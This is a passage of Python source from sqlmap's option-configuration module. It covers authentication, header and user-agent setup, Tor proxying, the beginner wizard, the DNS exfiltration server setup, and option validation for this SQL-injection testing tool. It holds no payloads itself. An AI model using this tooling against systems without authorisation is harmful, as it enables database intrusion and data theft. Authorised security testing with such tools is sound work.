= value if key == HTTP_HEADER.HOST: if not value.startswith("http"): scheme = "http" if value.endswith(":443"): scheme = "https" value = "%s://%s" % (scheme, value) kb.safeReq.url = urlparse.urljoin(value, kb.safeReq.url) else: break post = None if '\r\n\r\n' in raw: post = raw[raw.find('\r\n\r\n') + 4:] elif '\n\n' in raw: post = raw[raw.find('\n\n') + 2:] if post and post.strip(): kb.safeReq.post = post else: kb.safeReq.post = None else: errMsg = "invalid format of a safe request file" raise SqlmapSyntaxException(errMsg) else: if not re.search(r"\Ahttp[s]*://", conf.safeUrl): if ":443/" in conf.safeUrl: conf.safeUrl = "https://" + conf.safeUrl else: conf.safeUrl = "http://" + conf.safeUrl if conf.safeFreq <= 0: errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe visit features" raise SqlmapSyntaxException(errMsg) def _setPrefixSuffix(): if conf.prefix is not None and conf.suffix is not None: # Create a custom boundary object for user's supplied prefix # and suffix boundary = AttribDict() boundary.level = 1 boundary.clause = [0] boundary.where = [1, 2, 3] boundary.prefix = conf.prefix boundary.suffix = conf.suffix if " like" in boundary.suffix.lower(): if "'" in boundary.suffix.lower(): boundary.ptype = 3 elif '"' in boundary.suffix.lower(): boundary.ptype = 5 elif "'" in boundary.suffix: boundary.ptype = 2 elif '"' in boundary.suffix: boundary.ptype = 4 else: boundary.ptype = 1 # user who provides --prefix/--suffix does not want other boundaries # to be tested for conf.boundaries = [boundary] def _setAuthCred(): """ Adds authentication credentials (if any) for current target to the password manager (used by connection handler) """ if kb.passwordMgr and all(_ is not None for _ in (conf.scheme, conf.hostname, conf.port, conf.authUsername, conf.authPassword)): kb.passwordMgr.add_password(None, "%s://%s:%d" % (conf.scheme, conf.hostname, conf.port), conf.authUsername, conf.authPassword) def _setHTTPAuthentication(): """ Check and set the HTTP(s) authentication method (Basic, Digest, NTLM or PKI), username and password for first three methods, or PEM private key file for PKI authentication """ global authHandler if not conf.authType and not conf.authCred and not conf.authFile: return if conf.authFile and not conf.authType: conf.authType = AUTH_TYPE.PKI elif conf.authType and not conf.authCred and not conf.authFile: errMsg = "you specified the HTTP authentication type, but " errMsg += "did not provide the credentials" raise SqlmapSyntaxException(errMsg) elif not conf.authType and conf.authCred: errMsg = "you specified the HTTP authentication credentials, " errMsg += "but did not provide the type" raise SqlmapSyntaxException(errMsg) elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.NTLM, AUTH_TYPE.PKI): errMsg = "HTTP authentication type value must be " errMsg += "Basic, Digest, NTLM or PKI" raise SqlmapSyntaxException(errMsg) if not conf.authFile: debugMsg = "setting the HTTP authentication type and credentials" logger.debug(debugMsg) authType = conf.authType.lower() if authType in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST): regExp = "^(.*?):(.*?)$" errMsg = "HTTP %s authentication credentials " % authType errMsg += "value must be in format 'username:password'" elif authType == AUTH_TYPE.NTLM: regExp = "^(.*\\\\.*):(.*?)$" errMsg = "HTTP NTLM authentication credentials value must " errMsg += "be in format 'DOMAIN\username:password'" elif authType == AUTH_TYPE.PKI: errMsg = "HTTP PKI authentication require " errMsg += "usage of option `--auth-pki`" raise SqlmapSyntaxException(errMsg) aCredRegExp = re.search(regExp, conf.authCred) if not aCredRegExp: raise SqlmapSyntaxException(errMsg) conf.authUsername = aCredRegExp.group(1) conf.authPassword = aCredRegExp.group(2) kb.passwordMgr = urllib2.HTTPPasswordMgrWithDefaultRealm() _setAuthCred() if authType == AUTH_TYPE.BASIC: authHandler = SmartHTTPBasicAuthHandler(kb.passwordMgr) elif authType == AUTH_TYPE.DIGEST: authHandler = urllib2.HTTPDigestAuthHandler(kb.passwordMgr) elif authType == AUTH_TYPE.NTLM: try: from ntlm import HTTPNtlmAuthHandler except ImportError: errMsg = "sqlmap requires Python NTLM third-party library " errMsg += "in order to authenticate via NTLM, " errMsg += "https://github.com/mullender/python-ntlm" raise SqlmapMissingDependence(errMsg) authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr) else: debugMsg = "setting the HTTP(s) authentication PEM private key" logger.debug(debugMsg) _ = safeExpandUser(conf.authFile) checkFile(_) authHandler = HTTPSPKIAuthHandler(_) def _setHTTPExtraHeaders(): if conf.headers: debugMsg = "setting extra HTTP headers" logger.debug(debugMsg) conf.headers = conf.headers.split("\n") if "\n" in conf.headers else conf.headers.split("\\n") for headerValue in conf.headers: if not headerValue.strip(): continue if headerValue.count(':') >= 1: header, value = (_.lstrip() for _ in headerValue.split(":", 1)) if header and value: conf.httpHeaders.append((header, value)) else: errMsg = "invalid header value: %s. Valid header format is 'name:value'" % repr(headerValue).lstrip('u') raise SqlmapSyntaxException(errMsg) elif not conf.requestFile and len(conf.httpHeaders or []) < 2: if conf.encoding: conf.httpHeaders.append((HTTP_HEADER.ACCEPT_CHARSET, "%s;q=0.7,*;q=0.1" % conf.encoding)) # Invalidating any caching mechanism in between # Reference: http://stackoverflow.com/a/1383359 conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache")) def _defaultHTTPUserAgent(): """ @return: default sqlmap HTTP User-Agent header @rtype: C{str} """ return "%s (%s)" % (VERSION_STRING, SITE) def _setHTTPUserAgent(): """ Set the HTTP User-Agent header. Depending on the user options it can be: * The default sqlmap string * A default value read as user option * A random value read from a list of User-Agent headers from a file choosed as user option """ if conf.mobile: message = "which smartphone do you want sqlmap to imitate " message += "through HTTP User-Agent header?\n" items = sorted(getPublicTypeMembers(MOBILES, True)) for count in xrange(len(items)): item = items[count] message += "[%d] %s%s\n" % (count + 1, item[0], " (default)" if item == MOBILES.IPHONE else "") test = readInput(message.rstrip('\n'), default=items.index(MOBILES.IPHONE) + 1) try: item = items[int(test) - 1] except: item = MOBILES.IPHONE conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, item[1])) elif conf.agent: debugMsg = "setting the HTTP User-Agent header" logger.debug(debugMsg) conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, conf.agent)) elif not conf.randomAgent: _ = True for header, _ in conf.httpHeaders: if header == HTTP_HEADER.USER_AGENT: _ = False break if _: conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _defaultHTTPUserAgent())) else: if not kb.userAgents: debugMsg = "loading random HTTP User-Agent header(s) from " debugMsg += "file '%s'" % paths.USER_AGENTS logger.debug(debugMsg) try: kb.userAgents = getFileItems(paths.USER_AGENTS) except IOError: warnMsg = "unable to read HTTP User-Agent header " warnMsg += "file '%s'" % paths.USER_AGENTS logger.warn(warnMsg) conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _defaultHTTPUserAgent())) return userAgent = random.sample(kb.userAgents or [_defaultHTTPUserAgent()], 1)[0] infoMsg = "fetched random HTTP User-Agent header value '%s' from " % userAgent infoMsg += "file '%s'" % paths.USER_AGENTS logger.info(infoMsg) conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, userAgent)) def _setHTTPReferer(): """ Set the HTTP Referer """ if conf.referer: debugMsg = "setting the HTTP Referer header" logger.debug(debugMsg) conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.referer)) def _setHTTPHost(): """ Set the HTTP Host """ if conf.host: debugMsg = "setting the HTTP Host header" logger.debug(debugMsg) conf.httpHeaders.append((HTTP_HEADER.HOST, conf.host)) def _setHTTPCookies(): """ Set the HTTP Cookie header """ if conf.cookie: debugMsg = "setting the HTTP Cookie header" logger.debug(debugMsg) conf.httpHeaders.append((HTTP_HEADER.COOKIE, conf.cookie)) def _setHTTPTimeout(): """ Set the HTTP timeout """ if conf.timeout: debugMsg = "setting the HTTP timeout" logger.debug(debugMsg) conf.timeout = float(conf.timeout) if conf.timeout < 3.0: warnMsg = "the minimum HTTP timeout is 3 seconds, sqlmap " warnMsg += "will going to reset it" logger.warn(warnMsg) conf.timeout = 3.0 else: conf.timeout = 30.0 socket.setdefaulttimeout(conf.timeout) def _checkDependencies(): """ Checks for missing dependencies. """ if conf.dependencies: checkDependencies() def _createTemporaryDirectory(): """ Creates temporary directory for this run. """ if conf.tmpDir: try: if not os.path.isdir(conf.tmpDir): os.makedirs(conf.tmpDir) _ = os.path.join(conf.tmpDir, randomStr()) open(_, "w+b").close() os.remove(_) tempfile.tempdir = conf.tmpDir warnMsg = "using '%s' as the temporary directory" % conf.tmpDir logger.warn(warnMsg) except (OSError, IOError), ex: errMsg = "there has been a problem while accessing " errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex) raise SqlmapSystemException(errMsg) else: try: if not os.path.isdir(tempfile.gettempdir()): os.makedirs(tempfile.gettempdir()) except (OSError, IOError, WindowsError), ex: warnMsg = "there has been a problem while accessing " warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex) warnMsg += "make sure that there is enough disk space left. If problem persists, " warnMsg += "try to set environment variable 'TEMP' to a location " warnMsg += "writeable by the current user" logger.warn(warnMsg) if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir: try: tempfile.tempdir = tempfile.mkdtemp(prefix="sqlmap", suffix=str(os.getpid())) except (OSError, IOError, WindowsError): tempfile.tempdir = os.path.join(paths.SQLMAP_HOME_PATH, "tmp", "sqlmap%s%d" % (randomStr(6), os.getpid())) kb.tempDir = tempfile.tempdir if not os.path.isdir(tempfile.tempdir): try: os.makedirs(tempfile.tempdir) except (OSError, IOError, WindowsError), ex: errMsg = "there has been a problem while setting " errMsg += "temporary directory location ('%s')" % getSafeExString(ex) raise SqlmapSystemException(errMsg) def _cleanupOptions(): """ Cleanup configuration attributes. """ debugMsg = "cleaning up configuration parameters" logger.debug(debugMsg) width = getConsoleWidth() if conf.eta: conf.progressWidth = width - 26 else: conf.progressWidth = width - 46 for key, value in conf.items(): if value and any(key.endswith(_) for _ in ("Path", "File", "Dir")): conf[key] = safeExpandUser(value) if conf.testParameter: conf.testParameter = urldecode(conf.testParameter) conf.testParameter = conf.testParameter.replace(" ", "") conf.testParameter = re.split(PARAMETER_SPLITTING_REGEX, conf.testParameter) else: conf.testParameter = [] if conf.agent: conf.agent = re.sub(r"[\r\n]", "", conf.agent) if conf.user: conf.user = conf.user.replace(" ", "") if conf.rParam: conf.rParam = conf.rParam.replace(" ", "") conf.rParam = re.split(PARAMETER_SPLITTING_REGEX, conf.rParam) else: conf.rParam = [] if conf.paramDel and '\\' in conf.paramDel: try: conf.paramDel = conf.paramDel.decode("string_escape") except ValueError: pass if conf.skip: conf.skip = conf.skip.replace(" ", "") conf.skip = re.split(PARAMETER_SPLITTING_REGEX, conf.skip) else: conf.skip = [] if conf.cookie: conf.cookie = re.sub(r"[\r\n]", "", conf.cookie) if conf.delay: conf.delay = float(conf.delay) if conf.url: conf.url = conf.url.strip() if conf.rFile: conf.rFile = ntToPosixSlashes(normalizePath(conf.rFile)) if conf.wFile: conf.wFile = ntToPosixSlashes(normalizePath(conf.wFile)) if conf.dFile: conf.dFile = ntToPosixSlashes(normalizePath(conf.dFile)) if conf.sitemapUrl and not conf.sitemapUrl.lower().startswith("http"): conf.sitemapUrl = "http%s://%s" % ('s' if conf.forceSSL else '', conf.sitemapUrl) if conf.msfPath: conf.msfPath = ntToPosixSlashes(normalizePath(conf.msfPath)) if conf.tmpPath: conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath)) if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.forms, conf.crawlDepth)): conf.multipleTargets = True if conf.optimize: setOptimize() match = re.search(INJECT_HERE_REGEX, conf.data or "") if match: kb.customInjectionMark = match.group(0) match = re.search(INJECT_HERE_REGEX, conf.url or "") if match: kb.customInjectionMark = match.group(0) if conf.os: conf.os = conf.os.capitalize() if conf.forceDbms: conf.dbms = conf.forceDbms if conf.dbms: kb.dbmsFilter = [] for _ in conf.dbms.split(','): for dbms, aliases in DBMS_ALIASES: if _.strip().lower() in aliases: kb.dbmsFilter.append(dbms) conf.dbms = dbms if conf.dbms and ',' not in conf.dbms else None break if conf.testFilter: conf.testFilter = conf.testFilter.strip('*+') conf.testFilter = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testFilter) try: re.compile(conf.testFilter) except re.error: conf.testFilter = re.escape(conf.testFilter) if conf.testSkip: conf.testSkip = conf.testSkip.strip('*+') conf.testSkip = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testSkip) try: re.compile(conf.testSkip) except re.error: conf.testSkip = re.escape(conf.testSkip) if "timeSec" not in kb.explicitSettings: if conf.tor: conf.timeSec = 2 * conf.timeSec kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE warnMsg = "increasing default value for " warnMsg += "option '--time-sec' to %d because " % conf.timeSec warnMsg += "switch '--tor' was provided" logger.warn(warnMsg) else: kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE if conf.retries: conf.retries = min(conf.retries, MAX_CONNECT_RETRIES) if conf.code: conf.code = int(conf.code) if conf.csvDel: conf.csvDel = conf.csvDel.decode("string_escape") # e.g. '\\t' -> '\t' if conf.torPort and isinstance(conf.torPort, basestring) and conf.torPort.isdigit(): conf.torPort = int(conf.torPort) if conf.torType: conf.torType = conf.torType.upper() if conf.outputDir: paths.SQLMAP_OUTPUT_PATH = os.path.realpath(os.path.expanduser(conf.outputDir)) setPaths(paths.SQLMAP_ROOT_PATH) if conf.string: try: conf.string = conf.string.decode("unicode_escape") except: charset = string.whitespace.replace(" ", "") for _ in charset: conf.string = conf.string.replace(_.encode("string_escape"), _) if conf.getAll: map(lambda _: conf.__setitem__(_, True), WIZARD.ALL) if conf.noCast: for _ in DUMP_REPLACEMENTS.keys(): del DUMP_REPLACEMENTS[_] if conf.dumpFormat: conf.dumpFormat = conf.dumpFormat.upper() if conf.torType: conf.torType = conf.torType.upper() if conf.col: conf.col = re.sub(r"\s*,\s*", ',', conf.col) if conf.exclude: conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude) if conf.binaryFields: conf.binaryFields = re.sub(r"\s*,\s*", ',', conf.binaryFields) if any((conf.proxy, conf.proxyFile, conf.tor)): conf.disablePrecon = True threadData = getCurrentThreadData() threadData.reset() def _cleanupEnvironment(): """ Cleanup environment (e.g. from leftovers after --sqlmap-shell). """ if issubclass(urllib2.socket.socket, socks.socksocket): socks.unwrapmodule(urllib2) if hasattr(socket, "_ready"): socket._ready.clear() def _dirtyPatches(): """ Place for "dirty" Python related patches """ httplib._MAXLINE = 1 * 1024 * 1024 # accept overly long result lines (e.g. SQLi results in HTTP header responses) if IS_WIN: from thirdparty.wininetpton import win_inet_pton # add support for inet_pton() on Windows OS def _purgeOutput(): """ Safely removes (purges) output directory. """ if conf.purgeOutput: purge(paths.SQLMAP_OUTPUT_PATH) def _setConfAttributes(): """ This function set some needed attributes into the configuration singleton. """ debugMsg = "initializing the configuration" logger.debug(debugMsg) conf.authUsername = None conf.authPassword = None conf.boundaries = [] conf.cj = None conf.dbmsConnector = None conf.dbmsHandler = None conf.dnsServer = None conf.dumpPath = None conf.hashDB = None conf.hashDBFile = None conf.httpCollector = None conf.httpHeaders = [] conf.hostname = None conf.ipv6 = False conf.multipleTargets = False conf.outputPath = None conf.paramDict = {} conf.parameters = {} conf.path = None conf.port = None conf.proxyList = None conf.resultsFilename = None conf.resultsFP = None conf.scheme = None conf.tests = [] conf.trafficFP = None conf.HARCollectorFactory = None conf.wFileType = None def _setKnowledgeBaseAttributes(flushAll=True): """ This function set some needed attributes into the knowledge base singleton. """ debugMsg = "initializing the knowledge base" logger.debug(debugMsg) kb.absFilePaths = set() kb.adjustTimeDelay = None kb.alerted = False kb.alwaysRefresh = None kb.arch = None kb.authHeader = None kb.bannerFp = AttribDict() kb.binaryField = False kb.browserVerification = None kb.brute = AttribDict({"tables": [], "columns": []}) kb.bruteMode = False kb.cache = AttribDict() kb.cache.addrinfo = {} kb.cache.content = {} kb.cache.encoding = {} kb.cache.alphaBoundaries = None kb.cache.intBoundaries = None kb.cache.parsedDbms = {} kb.cache.regex = {} kb.cache.stdev = {} kb.captchaDetected = None kb.chars = AttribDict() kb.chars.delimiter = randomStr(length=6, lowercase=True) kb.chars.start = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) kb.chars.stop = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True)) kb.columnExistsChoice = None kb.commonOutputs = None kb.connErrorChoice = None kb.connErrorCounter = 0 kb.cookieEncodeChoice = None kb.counters = {} kb.customInjectionMark = CUSTOM_INJECTION_MARK_CHAR kb.data = AttribDict() kb.dataOutputFlag = False # Active back-end DBMS fingerprint kb.dbms = None kb.dbmsFilter = [] kb.dbmsVersion = [UNKNOWN_DBMS_VERSION] kb.delayCandidates = TIME_DELAY_CANDIDATES * [0] kb.dep = None kb.dnsMode = False kb.dnsTest = None kb.docRoot = None kb.droppingRequests = False kb.dumpColumns = None kb.dumpTable = None kb.dumpKeyboardInterrupt = False kb.dynamicMarkings = [] kb.dynamicParameter = False kb.endDetection = False kb.explicitSettings = set() kb.extendTests = None kb.errorChunkLength = None kb.errorIsNone = True kb.falsePositives = [] kb.fileReadMode = False kb.followSitemapRecursion = None kb.forcedDbms = None kb.forcePartialUnion = False kb.forceWhere = None kb.futileUnion = None kb.heavilyDynamic = False kb.headersFp = {} kb.heuristicDbms = None kb.heuristicExtendedDbms = None kb.heuristicMode = False kb.heuristicPage = False kb.heuristicTest = None kb.hintValue = None kb.htmlFp = [] kb.httpErrorCodes = {} kb.inferenceMode = False kb.ignoreCasted = None kb.ignoreNotFound = False kb.ignoreTimeout = False kb.injection = InjectionDict() kb.injections = [] kb.laggingChecked = False kb.lastParserStatus = None kb.locks = AttribDict() for _ in ("cache", "connError", "count", "index", "io", "limit", "log", "socket", "redirect", "request", "value"): kb.locks[_] = threading.Lock() kb.matchRatio = None kb.maxConnectionsFlag = False kb.mergeCookies = None kb.multiThreadMode = False kb.negativeLogic = False kb.nullConnection = None kb.oldMsf = None kb.orderByColumns = None kb.originalCode = None kb.originalPage = None kb.originalPageTime = None kb.originalTimeDelay = None kb.originalUrls = dict() # Back-end DBMS underlying operating system fingerprint via banner (-b) # parsing kb.os = None kb.osVersion = None kb.osSP = None kb.pageCompress = True kb.pageTemplate = None kb.pageTemplates = dict() kb.pageEncoding = DEFAULT_PAGE_ENCODING kb.pageStable = None kb.partRun = None kb.permissionFlag = False kb.postHint = None kb.postSpaceToPlus = False kb.postUrlEncode = True kb.prependFlag = False kb.processResponseCounter = 0 kb.previousMethod = None kb.processUserMarks = None kb.proxyAuthHeader = None kb.queryCounter = 0 kb.redirectChoice = None kb.reflectiveMechanism = True kb.reflectiveCounters = {REFLECTIVE_COUNTER.MISS: 0, REFLECTIVE_COUNTER.HIT: 0} kb.requestCounter = 0 kb.resendPostOnRedirect = None kb.resolutionDbms = None kb.responseTimes = {} kb.responseTimeMode = None kb.responseTimePayload = None kb.resumeValues = True kb.rowXmlMode = False kb.safeCharEncode = False kb.safeReq = AttribDict() kb.singleLogFlags = set() kb.skipSeqMatcher = False kb.reduceTests = None kb.tlsSNI = {} kb.stickyDBMS = False kb.stickyLevel = None kb.storeCrawlingChoice = None kb.storeHashesChoice = None kb.suppressResumeInfo = False kb.tableFrom = None kb.technique = None kb.tempDir = None kb.testMode = False kb.testOnlyCustom = False kb.testQueryCount = 0 kb.testType = None kb.threadContinue = True kb.threadException = False kb.tableExistsChoice = None kb.uChar = NULL kb.unionDuplicates = False kb.wafSpecificResponse = None kb.wizardMode = False kb.xpCmdshellAvailable = False if flushAll: kb.headerPaths = {} kb.keywords = set(getFileItems(paths.SQL_KEYWORDS)) kb.passwordMgr = None kb.skipVulnHost = None kb.tamperFunctions = [] kb.targets = oset() kb.testedParams = set() kb.userAgents = None kb.vainRun = True kb.vulnHosts = set() kb.wafFunctions = [] kb.wordlists = None def _useWizardInterface(): """ Presents simple wizard interface for beginner users """ if not conf.wizard: return logger.info("starting wizard interface") while not conf.url: message = "Please enter full target URL (-u): " conf.url = readInput(message, default=None) message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST) conf.data = readInput(message, default=None) if not (filter(lambda _: '=' in unicode(_), (conf.url, conf.data)) or '*' in conf.url): warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST) warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). " if not conf.crawlDepth and not conf.forms: warnMsg += "Will search for forms" conf.forms = True logger.warn(warnMsg) choice = None while choice is None or choice not in ("", "1", "2", "3"): message = "Injection difficulty (--level/--risk). Please choose:\n" message += "[1] Normal (default)\n[2] Medium\n[3] Hard" choice = readInput(message, default='1') if choice == '2': conf.risk = 2 conf.level = 3 elif choice == '3': conf.risk = 3 conf.level = 5 else: conf.risk = 1 conf.level = 1 if not conf.getAll: choice = None while choice is None or choice not in ("", "1", "2", "3"): message = "Enumeration (--banner/--current-user/etc). Please choose:\n" message += "[1] Basic (default)\n[2] Intermediate\n[3] All" choice = readInput(message, default='1') if choice == '2': map(lambda _: conf.__setitem__(_, True), WIZARD.INTERMEDIATE) elif choice == '3': map(lambda _: conf.__setitem__(_, True), WIZARD.ALL) else: map(lambda _: conf.__setitem__(_, True), WIZARD.BASIC) logger.debug("muting sqlmap.. it will do the magic for you") conf.verbose = 0 conf.batch = True conf.threads = 4 dataToStdout("\nsqlmap is running, please wait..\n\n") kb.wizardMode = True def _saveConfig(): """ Saves the command line options to a sqlmap configuration INI file Format. """ if not conf.saveConfig: return debugMsg = "saving command line options to a sqlmap configuration INI file" logger.debug(debugMsg) saveConfig(conf, conf.saveConfig) infoMsg = "saved command line options to the configuration file '%s'" % conf.saveConfig logger.info(infoMsg) def setVerbosity(): """ This function set the verbosity of sqlmap output messages. """ if conf.verbose is None: conf.verbose = 1 conf.verbose = int(conf.verbose) if conf.verbose == 0: logger.setLevel(logging.ERROR) elif conf.verbose == 1: logger.setLevel(logging.INFO) elif conf.verbose > 2 and conf.eta: conf.verbose = 2 logger.setLevel(logging.DEBUG) elif conf.verbose == 2: logger.setLevel(logging.DEBUG) elif conf.verbose == 3: logger.setLevel(CUSTOM_LOGGING.PAYLOAD) elif conf.verbose == 4: logger.setLevel(CUSTOM_LOGGING.TRAFFIC_OUT) elif conf.verbose >= 5: logger.setLevel(CUSTOM_LOGGING.TRAFFIC_IN) def _normalizeOptions(inputOptions): """ Sets proper option types """ types_ = {} for group in optDict.keys(): types_.update(optDict[group]) for key in inputOptions: if key in types_: value = inputOptions[key] if value is None: continue type_ = types_[key] if type_ and isinstance(type_, tuple): type_ = type_[0] if type_ == OPTION_TYPE.BOOLEAN: try: value = bool(value) except (TypeError, ValueError): value = False elif type_ == OPTION_TYPE.INTEGER: try: value = int(value) except (TypeError, ValueError): value = 0 elif type_ == OPTION_TYPE.FLOAT: try: value = float(value) except (TypeError, ValueError): value = 0.0 inputOptions[key] = value def _mergeOptions(inputOptions, overrideOptions): """ Merge command line options with configuration file and default options. @param inputOptions: optparse object with command line options. @type inputOptions: C{instance} """ if inputOptions.configFile: configFileParser(inputOptions.configFile) if hasattr(inputOptions, "items"): inputOptionsItems = inputOptions.items() else: inputOptionsItems = inputOptions.__dict__.items() for key, value in inputOptionsItems: if key not in conf or value not in (None, False) or overrideOptions: conf[key] = value if not conf.api: for key, value in conf.items(): if value is not None: kb.explicitSettings.add(key) for key, value in defaults.items(): if hasattr(conf, key) and conf[key] is None: conf[key] = value lut = {} for group in optDict.keys(): lut.update((_.upper(), _) for _ in optDict[group]) envOptions = {} for key, value in os.environ.items(): if key.upper().startswith(SQLMAP_ENVIRONMENT_PREFIX): _ = key[len(SQLMAP_ENVIRONMENT_PREFIX):].upper() if _ in lut: envOptions[lut[_]] = value if envOptions: _normalizeOptions(envOptions) for key, value in envOptions.items(): conf[key] = value mergedOptions.update(conf) def _setTrafficOutputFP(): if conf.trafficFile: infoMsg = "setting file for logging HTTP traffic" logger.info(infoMsg) conf.trafficFP = openFile(conf.trafficFile, "w+") def _setupHTTPCollector(): if not conf.harFile: return conf.httpCollector = HTTPCollectorFactory(conf.harFile).create() def _setDNSServer(): if not conf.dnsDomain: return infoMsg = "setting up DNS server instance" logger.info(infoMsg) isAdmin = runningAsAdmin() if isAdmin: try: conf.dnsServer = DNSServer() conf.dnsServer.run() except socket.error, msg: errMsg = "there was an error while setting up " errMsg += "DNS server instance ('%s')" % msg raise SqlmapGenericException(errMsg) else: errMsg = "you need to run sqlmap as an administrator " errMsg += "if you want to perform a DNS data exfiltration attack " errMsg += "as it will need to listen on privileged UDP port 53 " errMsg += "for incoming address resolution attempts" raise SqlmapMissingPrivileges(errMsg) def _setProxyList(): if not conf.proxyFile: return conf.proxyList = [] for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)): _, type_, address, port = match.groups() conf.proxyList.append("%s://%s:%s" % (type_ or "http", address, port)) def _setTorProxySettings(): if not conf.tor: return if conf.torType == PROXY_TYPE.HTTP: _setTorHttpProxySettings() else: _setTorSocksProxySettings() def _setTorHttpProxySettings(): infoMsg = "setting Tor HTTP proxy settings" logger.info(infoMsg) port = findLocalPort(DEFAULT_TOR_HTTP_PORTS if not conf.torPort else (conf.torPort,)) if port: conf.proxy = "http://%s:%d" % (LOCALHOST, port) else: errMsg = "can't establish connection with the Tor HTTP proxy. " errMsg += "Please make sure that you have Tor (bundle) installed and setup " errMsg += "so you could be able to successfully use switch '--tor' " raise SqlmapConnectionException(errMsg) if not conf.checkTor: warnMsg = "use switch '--check-tor' at " warnMsg += "your own convenience when accessing " warnMsg += "Tor anonymizing network because of " warnMsg += "known issues with default settings of various 'bundles' " warnMsg += "(e.g. Vidalia)" logger.warn(warnMsg) def _setTorSocksProxySettings(): infoMsg = "setting Tor SOCKS proxy settings" logger.info(infoMsg) port = findLocalPort(DEFAULT_TOR_SOCKS_PORTS if not conf.torPort else (conf.torPort,)) if not port: errMsg = "can't establish connection with the Tor SOCKS proxy. " errMsg += "Please make sure that you have Tor service installed and setup " errMsg += "so you could be able to successfully use switch '--tor' " raise SqlmapConnectionException(errMsg) # SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29) socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if conf.torType == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, LOCALHOST, port) socks.wrapmodule(urllib2) def _checkWebSocket(): if conf.url and (conf.url.startswith("ws:/") or conf.url.startswith("wss:/")): try: from websocket import ABNF except ImportError: errMsg = "sqlmap requires third-party module 'websocket-client' " errMsg += "in order to use WebSocket functionality" raise SqlmapMissingDependence(errMsg) def _checkTor(): if not conf.checkTor: return infoMsg = "checking Tor connection" logger.info(infoMsg) try: page, _, _ = Request.getPage(url="https://check.torproject.org/", raise404=False) except SqlmapConnectionException: page = None if not page or 'Congratulations' not in page: errMsg = "it appears that Tor is not properly set. Please try using options '--tor-type' and/or '--tor-port'" raise SqlmapConnectionException(errMsg) else: infoMsg = "Tor is properly being used" logger.info(infoMsg) def _basicOptionValidation(): if conf.limitStart is not None and not (isinstance(conf.limitStart, int) and conf.limitStart > 0): errMsg = "value for option '--start' (limitStart) must be an integer value greater than zero (>0)" raise SqlmapSyntaxException(errMsg) if conf.limitStop is not None and not (isinstance(conf.limitStop, int) and conf.limitStop > 0): errMsg = "value for option '--stop' (limitStop) must be an integer value greater than zero (>0)" raise SqlmapSyntaxException(errMsg) if conf.level is not None and not (isinstance(conf.level, int) and conf.level >= 1 and conf.level <= 5): errMsg = "value for option '--level' must be an integer value from range [1, 5]" raise SqlmapSyntaxException(errMsg) if conf.risk is not None and not (isinstance(conf.risk, int) and conf.risk >= 1 and conf.risk <= 3): errMsg = "value for option '--risk' must be an integer value from range [1, 3]" raise SqlmapSyntaxException(errMsg) if isinstance(conf.limitStart, int) and conf.limitStart > 0 and \ isinstance(conf.limitStop, int) and conf.limitStop < conf.limitStart: warnMsg = "usage of option '--start' (limitStart) which is bigger than value for --stop (limitStop) option is considered unstable" logger.warn(warnMsg) if isinstance(conf.firstChar, int) and conf.firstChar > 0 and \ isinstance(conf.lastChar, int) and conf.lastChar < conf.firstChar: errMsg = "value for option '--first' (firstChar) must be smaller than or equal to value for --last (lastChar) option" raise SqlmapSyntaxException(errMsg) if conf.textOnly and conf.nullConnection: errMsg = "switch '--text-only' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) if conf.eta and conf.verbose > defaults.verbose: errMsg = "switch '--eta' is incompatible with option '-v'" raise SqlmapSyntaxException(errMsg) if conf.direct and conf.url: errMsg = "option '-d' is incompatible with option '-u' ('--url')" raise SqlmapSyntaxException(errMsg) if conf.identifyWaf and conf.skipWaf: errMsg = "switch '--identify-waf' is incompatible with switch '--skip-waf'" raise SqlmapSyntaxException(errMsg) if conf.titles and conf.nullConnection: errMsg = "switch '--titles' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) if conf.dumpTable and conf.search: errMsg = "switch '--dump' is incompatible with switch '--search'" raise SqlmapSyntaxException(errMsg) if conf.api and not conf.configFile: errMsg = "switch '--api' requires usage of 